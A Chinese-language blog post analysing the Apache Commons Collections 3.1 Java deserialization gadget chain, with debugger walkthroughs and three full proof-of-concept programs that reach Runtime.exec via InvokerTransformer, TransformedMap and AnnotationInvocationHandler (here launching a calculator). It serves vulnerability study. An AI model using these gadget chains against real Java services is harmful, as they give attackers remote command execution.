Hu3sky's blog

java反序列化由浅入深及JNDI注入理解(二)-JAVA Apache-Commons-Collections

Word count: 2,463 / Reading time: 12 min
2019/09/13 Share

漏洞背景

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。 

漏洞组件下载

https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class EvalObject {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app/"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}

漏洞描述

特殊接口:InvokerTransformer
实现该接口的类能够通过Java反射机制来调用任意函数

java反射机制
反射机制的实现 主要通过 操作java.lang.Class
提供的功能主要有

1
2
3
4
在运行时判断任意一个对象所属的类;
在运行时构造任意一个类的对象;
在运行时判断任意一个类所具有的成员变量和方法;
在运行时调用任意一个对象的方法;生成动态代理。

反射机制的优点就是可以实现动态创建对象和编译
使用步骤

  1. 获取目标类型的Class对象
  2. 通过 Class 对象分别获取Constructor类对象、Method类对象 & Field 类对象
  3. 通过 Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作

比如
image

/org/apache/commons/collections/functors/InvokerTransformer.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class InvokerTransformer implements Transformer, Serializable {
...

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

可以看到,这里的transform方法利用反射类进行了任意方法的调用

1
2
3
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

this.iMethodName,this.iParamTypes,this.iArgs都是可控成员,分别对应方法,参数类型,参数
不过,仅通过该类是无法直接执行命令的,我们知道在java里,不像是php中可以直接调用函数比如system的,在java里执行命令需要先调用对象,比如Runtime.getRuntime().exec(cmd)

接下来我们看看另一个对象
/org/apache/commons/collections/functors/ChainedTransformer.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class ChainedTransformer implements Transformer, Serializable {
...
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}
...
}

该类接受一个Transformer类型数组的参数iTransformers
transform函数的意思是逐个调用数组里的Transformer类型的对象的transform函数,并且将返回结果object当作下一次传入transform函数的参数

于是我们需要在反序列化的时候找到一个能触发ChainedTransformertransform方法的地方

那么接着看
/org/apache/commons/collections/map/TransformedMap.class
image
TransformedMap 中的 checkSetValue() 方法中
image
这里调用了valueTransformertransorm方法

利用Map.Entry取得第一个值,调用修改值的函数,会触发下面的setValue()代码

1
2
3
4
5
    public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}

从而触发checkSetValue()

payload debug分析

首先定义一个Transformer类型的数组
/org/apache/commons/collections/functors/ConstantTransformer.class
返回Runtime对象
image

然后在/org/apache/commons/collections/functors/InvokerTransformer.class
进行三个赋值。分别给methodtype以及Args进行赋值

image

接着进入
Transformer transformerChain = new ChainedTransformer(transformers);

transformers数组传入
image
返回值为iTransformers数组
image
接着进入
TransformedMap.decorate
image

跟到
image
传入valueTransformer即是iTransformers数组
跟入TransformedMap方法

image
跟到setValue

1
2
3
4
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}

跟进checkSetValue

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

此时
this.valueTransformer就是ChianedTransformer
image
这样,就成功触发了
ChianedTransformer.transform()
接下来进入transform
获取下标为1的Runtime
image

然后调用InvokerTransformertransform方法
传入method->getMethod iArg->getRuntime
通过反射获取getRuntime

然后下标为2
image

1
method.invoke()方法,用来执行某个的对象的目标方法

image

下标为3时,通过传入exec方法,反射调用Runtime
image

至此 执行完成
模拟一个反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public class EvalObject {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app/"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

FileOutputStream fileOutputStream = new FileOutputStream("serialize");
ObjectOutputStream obj = new ObjectOutputStream(fileOutputStream);
obj.writeObject(outerMap);
obj.close();


FileInputStream fileInputStream = new FileInputStream("serialize");
ObjectInputStream inp = new ObjectInputStream(fileInputStream);
Map result = (TransformedMap)inp.readObject();
inp.close();
System.out.println(result);

//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}

image

触发readObj()

不过上面的代码还需要我们手动去调用setValue方法才能触发ChianedTransformer,能否在执行readObj的时候就直接触发setValue呢
考虑一个AnnotationInvocationHandler类,jkd1.7自带的
/rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class
我们看一看他重写的这个readObj方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
private transient volatile Method[] memberMethods = null;

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

...
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException
{
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}
...

可以看到 这里直接为我们提供了一个Map类型的成员memberValues
同时对memberValues中的每一项都调用了setValue,这完全达到了我们的目的

于是理一下思路

1
2
3
4
TransformedMap: 利用其value修改时触发checksetvalue()的transform()的特性
ChainedTransformer: 会循环执行我们定义的Transformer,并将结果当作下一次执行的参数传入
Transformer: 初始化要执行的命令
AnnotationInvocationHandler: 对memberValues的每一项执行setValue

  1. 首先构造ChainedTransformer的成员变量
  2. 生成TransformedMap实例
  3. 实例化AnnotationInvocationHandler并传入TransformedMap实例
  4. readObj触发ChainedTransformertransform

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.reflect.annotation.*;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class EvalObject {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app/"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//加载类
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造方法
Constructor ct = cl.getDeclaredConstructor(Class.class, Map.class);
ct.setAccessible(true);
Object instance = ct.newInstance(Target.class, outerMap);

//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize");
ObjectOutputStream obj = new ObjectOutputStream(fileOutputStream);
obj.writeObject(instance);
obj.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize");
ObjectInputStream inp = new ObjectInputStream(fileInputStream);
Object result = inp.readObject();
inp.close();
System.out.println(result);
}
}

image

from@Seebug
image

End

Java好难🤯。。。

Referer

Java反射:这是一份全面 & 详细的 Java反射机制 学习指南
java反序列化学习之apache-commons-collections
Java反序列化漏洞分析
浅显易懂的JAVA反序列化入门

CATALOG
  1. 1. 漏洞背景
  2. 2. 漏洞组件下载
  3. 3. payload
  4. 4. 漏洞描述
  5. 5. payload debug分析
  6. 6. 触发readObj()
  7. 7. End
  8. 8. Referer